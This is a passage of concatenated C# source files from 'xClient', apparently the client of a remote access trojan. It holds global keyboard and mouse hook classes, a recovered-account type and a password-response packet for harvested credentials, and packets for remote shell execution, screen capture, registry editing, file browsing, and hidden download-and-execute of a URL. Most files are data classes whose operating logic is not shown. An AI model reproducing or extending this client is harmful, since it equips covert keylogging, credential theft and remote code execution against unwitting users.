xClient.Core.Data 2 | { 3 | public class Host 4 | { 5 | /// 6 | /// Stores the hostname of the Host. 7 | /// 8 | /// 9 | /// Can be an IPv4 address or hostname. IPv6 support not tested. 10 | /// 11 | public string Hostname { get; set; } 12 | 13 | /// 14 | /// Stores the port of the Host. 15 | /// 16 | public ushort Port { get; set; } 17 | 18 | public override string ToString() 19 | { 20 | return Hostname + ":" + Port; 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Client/Core/Data/RecoveredAccount.cs: -------------------------------------------------------------------------------- 1 | namespace xClient.Core.Data 2 | { 3 | public class RecoveredAccount 4 | { 5 | public string Username { get; set; } 6 | public string Password { get; set; } 7 | public string URL { get; set; } 8 | public string Application { get; set; } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Client/Core/Helper/MutexHelper.cs: -------------------------------------------------------------------------------- 1 | using System.Threading; 2 | 3 | namespace xClient.Core.Helper 4 | { 5 | public static class MutexHelper 6 | { 7 | private static Mutex _appMutex; 8 | 9 | public static bool CreateMutex(string name) 10 | { 11 | bool createdNew; 12 | _appMutex = new Mutex(false, name, out createdNew); 13 | return createdNew; 14 | } 15 | 16 | public static void CloseMutex() 17 | { 18 | if (_appMutex != null) 19 | { 20 | _appMutex.Close(); 21 | _appMutex = null; 22 | } 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/IKeyboardMouseEvents.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System; 6 | 7 | namespace xClient.Core.MouseKeyHook 8 | { 9 | /// 10 | /// Provides keyboard and mouse events. 11 | /// 12 | public interface IKeyboardMouseEvents : IKeyboardEvents, IMouseEvents, IDisposable 13 | { 14 | } 15 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/AppEventFacade.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | namespace xClient.Core.MouseKeyHook.Implementation 6 | { 7 | internal class AppEventFacade : EventFacade 8 | { 9 | protected override MouseListener CreateMouseListener() 10 | { 11 | return new AppMouseListener(); 12 | } 13 | 14 | protected override KeyListener CreateKeyListener() 15 | { 16 | return new AppKeyListener(); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/AppKeyListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System.Collections.Generic; 6 | using xClient.Core.MouseKeyHook.WinApi; 7 | 8 | namespace xClient.Core.MouseKeyHook.Implementation 9 | { 10 | internal class AppKeyListener : KeyListener 11 | { 12 | public AppKeyListener() 13 | : base(HookHelper.HookAppKeyboard) 14 | { 15 | } 16 | 17 | protected override IEnumerable GetPressEventArgs(CallbackData data) 18 | { 19 | return KeyPressEventArgsExt.FromRawDataApp(data); 20 | } 21 | 22 | protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) 23 | { 24 | return KeyEventArgsExt.FromRawDataApp(data); 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/AppMouseListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using xClient.Core.MouseKeyHook.WinApi; 6 | 7 | namespace xClient.Core.MouseKeyHook.Implementation 8 | { 9 | internal class AppMouseListener : MouseListener 10 | { 11 | public AppMouseListener() 12 | : base(HookHelper.HookAppMouse) 13 | { 14 | } 15 | 16 | protected override MouseEventExtArgs GetEventArgs(CallbackData data) 17 | { 18 | return MouseEventExtArgs.FromRawDataApp(data); 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/BaseListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System; 6 | using xClient.Core.MouseKeyHook.WinApi; 7 | 8 | namespace xClient.Core.MouseKeyHook.Implementation 9 | { 10 | internal abstract class BaseListener : IDisposable 11 | { 12 | protected BaseListener(Subscribe subscribe) 13 | { 14 | Handle = subscribe(Callback); 15 | } 16 | 17 | protected HookResult Handle { get; set; } 18 | 19 | public void Dispose() 20 | { 21 | Handle.Dispose(); 22 | } 23 | 24 | protected abstract bool Callback(CallbackData data); 25 | } 26 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/ButtonSet.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System.Windows.Forms; 6 | 7 | namespace xClient.Core.MouseKeyHook.Implementation 8 | { 9 | internal class ButtonSet 10 | { 11 | private MouseButtons m_Set; 12 | 13 | public ButtonSet() 14 | { 15 | m_Set = MouseButtons.None; 16 | } 17 | 18 | public void Add(MouseButtons element) 19 | { 20 | m_Set |= element; 21 | } 22 | 23 | public void Remove(MouseButtons element) 24 | { 25 | m_Set &= ~element; 26 | } 27 | 28 | public bool Contains(MouseButtons element) 29 | { 30 | return (m_Set & element) != MouseButtons.None; 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/Callback.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using xClient.Core.MouseKeyHook.WinApi; 6 | 7 | namespace xClient.Core.MouseKeyHook.Implementation 8 | { 9 | internal delegate bool Callback(CallbackData data); 10 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/GlobalEventFacade.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | namespace xClient.Core.MouseKeyHook.Implementation 6 | { 7 | internal class GlobalEventFacade : EventFacade 8 | { 9 | protected override MouseListener CreateMouseListener() 10 | { 11 | return new GlobalMouseListener(); 12 | } 13 | 14 | protected override KeyListener CreateKeyListener() 15 | { 16 | return new GlobalKeyListener(); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/GlobalKeyListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System.Collections.Generic; 6 | using xClient.Core.MouseKeyHook.WinApi; 7 | 8 | namespace xClient.Core.MouseKeyHook.Implementation 9 | { 10 | internal class GlobalKeyListener : KeyListener 11 | { 12 | public GlobalKeyListener() 13 | : base(HookHelper.HookGlobalKeyboard) 14 | { 15 | } 16 | 17 | protected override IEnumerable GetPressEventArgs(CallbackData data) 18 | { 19 | return KeyPressEventArgsExt.FromRawDataGlobal(data); 20 | } 21 | 22 | protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) 23 | { 24 | return KeyEventArgsExt.FromRawDataGlobal(data); 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/Implementation/Subscribe.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using xClient.Core.MouseKeyHook.WinApi; 6 | 7 | namespace xClient.Core.MouseKeyHook.Implementation 8 | { 9 | internal delegate HookResult Subscribe(Callback callbck); 10 | } -------------------------------------------------------------------------------- /Client/Core/MouseKeyHook/WinApi/CallbackData.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System; 6 | 7 | namespace xClient.Core.MouseKeyHook.WinApi 8 | { 9 | internal struct CallbackData 10 | { 11 | private readonly IntPtr m_LParam; 12 | private readonly IntPtr m_WParam; 13 | 14 | public CallbackData(IntPtr wParam, IntPtr lParam) 15 | { 16 | m_WParam = wParam; 17 | m_LParam = lParam; 18 | } 19 | 20 | public IntPtr WParam 21 | { 22 | get { return m_WParam; } 23 | } 24 | 25 | public IntPtr LParam 26 | { 27 | get { return m_LParam; } 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class DoShellExecuteResponse : IPacket 8 | { 9 | public string Output { get; set; } 10 | 11 | public bool IsError { get; private set; } 12 | 13 | public DoShellExecuteResponse() 14 | { 15 | } 16 | 17 | public DoShellExecuteResponse(string output, bool isError = false) 18 | { 19 | this.Output = output; 20 | this.IsError = isError; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | using xClient.Core.Registry; 7 | 8 | namespace xClient.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetChangeRegistryValueResponse : IPacket 12 | { 13 | public string KeyPath { get; set; } 14 | public RegValueData Value { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetChangeRegistryValueResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | using xClient.Core.Registry; 7 | 8 | namespace xClient.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetCreateRegistryKeyResponse : IPacket 12 | { 13 | public string ParentPath { get; set; } 14 | public RegSeekerMatch Match { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetCreateRegistryKeyResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | using xClient.Core.Registry; 7 | 8 | namespace xClient.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetCreateRegistryValueResponse : IPacket 12 | { 13 | public string KeyPath { get; set; } 14 | public RegValueData Value { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetCreateRegistryValueResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetDeleteRegistryKeyResponse : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string KeyName { get; set; } 14 | 15 | public bool IsError { get; set; } 16 | public string ErrorMsg { get; set; } 17 | 18 | public GetDeleteRegistryKeyResponse() { } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetDeleteRegistryValueResponse : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string ValueName { get; set; } 14 | 15 | public bool IsError { get; set; } 16 | public string ErrorMsg { get; set; } 17 | 18 | public GetDeleteRegistryValueResponse() { } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetDesktopResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetDesktopResponse : IPacket 8 | { 9 | public byte[] Image { get; set; } 10 | 11 | public int Quality { get; set; } 12 | 13 | public int Monitor { get; set; } 14 | 15 | public string Resolution { get; set; } 16 | 17 | public GetDesktopResponse() 18 | { 19 | } 20 | 21 | public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution) 22 | { 23 | this.Image = image; 24 | this.Quality = quality; 25 | this.Monitor = monitor; 26 | this.Resolution = resolution; 27 | } 28 | 29 | public void Execute(Client client) 30 | { 31 | client.Send(this); 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetDirectoryResponse : IPacket 8 | { 9 | public string[] Files { get; set; } 10 | 11 | public string[] Folders { get; set; } 12 | 13 | public long[] FilesSize { get; set; } 14 | 15 | public GetDirectoryResponse() 16 | { 17 | } 18 | 19 | public GetDirectoryResponse(string[] files, string[] folders, long[] filessize) 20 | { 21 | this.Files = files; 22 | this.Folders = folders; 23 | this.FilesSize = filessize; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetDrivesResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetDrivesResponse : IPacket 8 | { 9 | public string[] DriveDisplayName { get; set; } 10 | 11 | public string[] RootDirectory { get; set; } 12 | 13 | public GetDrivesResponse() 14 | { 15 | } 16 | 17 | public GetDrivesResponse(string[] driveDisplayName, string[] rootDirectory) 18 | { 19 | this.DriveDisplayName = driveDisplayName; 20 | this.RootDirectory = rootDirectory; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetMonitorsResponse : IPacket 8 | { 9 | public int Number { get; set; } 10 | 11 | public GetMonitorsResponse() 12 | { 13 | } 14 | 15 | public GetMonitorsResponse(int number) 16 | { 17 | this.Number = number; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using xClient.Core.Networking; 4 | 5 | namespace xClient.Core.Packets.ClientPackets 6 | { 7 | [Serializable] 8 | public class GetPasswordsResponse : IPacket 9 | { 10 | public List Passwords { get; set; } 11 | 12 | public GetPasswordsResponse() 13 | { 14 | } 15 | 16 | public GetPasswordsResponse(List data) 17 | { 18 | this.Passwords = data; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetProcessesResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetProcessesResponse : IPacket 8 | { 9 | public string[] Processes { get; set; } 10 | 11 | public int[] IDs { get; set; } 12 | 13 | public string[] Titles { get; set; } 14 | 15 | public GetProcessesResponse() 16 | { 17 | } 18 | 19 | public GetProcessesResponse(string[] processes, int[] ids, string[] titles) 20 | { 21 | this.Processes = processes; 22 | this.IDs = ids; 23 | this.Titles = titles; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | using xClient.Core.Registry; 7 | 8 | namespace xClient.Core.Packets.ClientPackets 9 | { 10 | [Serializable] 11 | public class GetRegistryKeysResponse : IPacket 12 | { 13 | public RegSeekerMatch[] Matches { get; set; } 14 | 15 | public string RootKey { get; set; } 16 | 17 | public bool IsError { get; set; } 18 | public string ErrorMsg { get; set; } 19 | 20 | public GetRegistryKeysResponse() 21 | { } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetRenameRegistryKeyResponse : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string OldKeyName { get; set; } 14 | public string NewKeyName { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetRenameRegistryKeyResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ClientPackets 8 | { 9 | [Serializable] 10 | public class GetRenameRegistryValueResponse : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string OldValueName { get; set; } 14 | public string NewValueName { get; set; } 15 | 16 | public bool IsError { get; set; } 17 | public string ErrorMsg { get; set; } 18 | 19 | public GetRenameRegistryValueResponse() { } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using xClient.Core.Networking; 4 | 5 | namespace xClient.Core.Packets.ClientPackets 6 | { 7 | [Serializable] 8 | public class GetStartupItemsResponse : IPacket 9 | { 10 | public List StartupItems { get; set; } 11 | 12 | public GetStartupItemsResponse() 13 | { 14 | } 15 | 16 | public GetStartupItemsResponse(List startupitems) 17 | { 18 | this.StartupItems = startupitems; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class GetSystemInfoResponse : IPacket 8 | { 9 | public string[] SystemInfos { get; set; } 10 | 11 | public GetSystemInfoResponse() 12 | { 13 | } 14 | 15 | public GetSystemInfoResponse(string[] systeminfos) 16 | { 17 | this.SystemInfos = systeminfos; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/SetStatus.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class SetStatus : IPacket 8 | { 9 | public string Message { get; set; } 10 | 11 | public SetStatus() 12 | { 13 | } 14 | 15 | public SetStatus(string message) 16 | { 17 | Message = message; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/SetStatusFileManager.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [Serializable] 7 | public class SetStatusFileManager : IPacket 8 | { 9 | public string Message { get; set; } 10 | 11 | public bool SetLastDirectorySeen { get; set; } 12 | 13 | public SetStatusFileManager() 14 | { 15 | } 16 | 17 | public SetStatusFileManager(string message, bool setLastDirectorySeen) 18 | { 19 | Message = message; 20 | SetLastDirectorySeen = setLastDirectorySeen; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/SetUserStatus.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | using xClient.Enums; 4 | 5 | namespace xClient.Core.Packets.ClientPackets 6 | { 7 | [Serializable] 8 | public class SetUserStatus : IPacket 9 | { 10 | public UserStatus Message { get; set; } 11 | 12 | public SetUserStatus() 13 | { 14 | } 15 | 16 | public SetUserStatus(UserStatus message) 17 | { 18 | Message = message; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Client/Core/Packets/IPacket.cs: -------------------------------------------------------------------------------- 1 | using xClient.Core.Networking; 2 | 3 | namespace xClient.Core.Packets 4 | { 5 | public interface IPacket 6 | { 7 | void Execute(Client client); 8 | } 9 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoAskElevate.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoAskElevate : IPacket 8 | { 9 | public DoAskElevate() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoChangeRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Text; 4 | using xClient.Core.Networking; 5 | using xClient.Core.Registry; 6 | 7 | namespace xClient.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoChangeRegistryValue : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public RegValueData Value { get; set; } 14 | 15 | public DoChangeRegistryValue(string keyPath, RegValueData value) 16 | { 17 | KeyPath = keyPath; 18 | Value = value; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoClientDisconnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoClientDisconnect : IPacket 8 | { 9 | public DoClientDisconnect() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoClientReconnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoClientReconnect : IPacket 8 | { 9 | public DoClientReconnect() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoClientUninstall.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoClientUninstall : IPacket 8 | { 9 | public DoClientUninstall() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoCloseConnection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoCloseConnection : IPacket 8 | { 9 | public int LocalPort { get; set; } 10 | 11 | public int RemotePort { get; set; } 12 | 13 | public DoCloseConnection() 14 | { 15 | } 16 | 17 | public DoCloseConnection(int localport, int remoteport) 18 | { 19 | this.LocalPort = localport; 20 | this.RemotePort = remoteport; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoCreateRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoCreateRegistryKey : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | 14 | public DoCreateRegistryKey(string parentPath) 15 | { 16 | ParentPath = parentPath; 17 | } 18 | 19 | public void Execute(Client client) 20 | { 21 | client.Send(this); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoCreateRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using xClient.Core.Networking; 7 | 8 | namespace xClient.Core.Packets.ServerPackets 9 | { 10 | [Serializable] 11 | public class DoCreateRegistryValue : IPacket 12 | { 13 | public string KeyPath { get; set; } 14 | public RegistryValueKind Kind { get; set; } 15 | 16 | public DoCreateRegistryValue(string keyPath, RegistryValueKind kind) 17 | { 18 | KeyPath = keyPath; 19 | Kind = kind; 20 | } 21 | 22 | public void Execute(Client client) 23 | { 24 | client.Send(this); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoDeleteRegistryKey : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string KeyName { get; set; } 14 | 15 | public DoDeleteRegistryKey(string parentPath, string keyName) 16 | { 17 | ParentPath = parentPath; 18 | KeyName = keyName; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoDeleteRegistryValue : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string ValueName { get; set; } 14 | 15 | public DoDeleteRegistryValue(string keyPath, string valueName) 16 | { 17 | KeyPath = keyPath; 18 | ValueName = valueName; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoDownloadAndExecute : IPacket 8 | { 9 | public string URL { get; set; } 10 | 11 | public bool RunHidden { get; set; } 12 | 13 | public DoDownloadAndExecute() 14 | { 15 | } 16 | 17 | public DoDownloadAndExecute(string url, bool runhidden) 18 | { 19 | this.URL = url; 20 | this.RunHidden = runhidden; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- 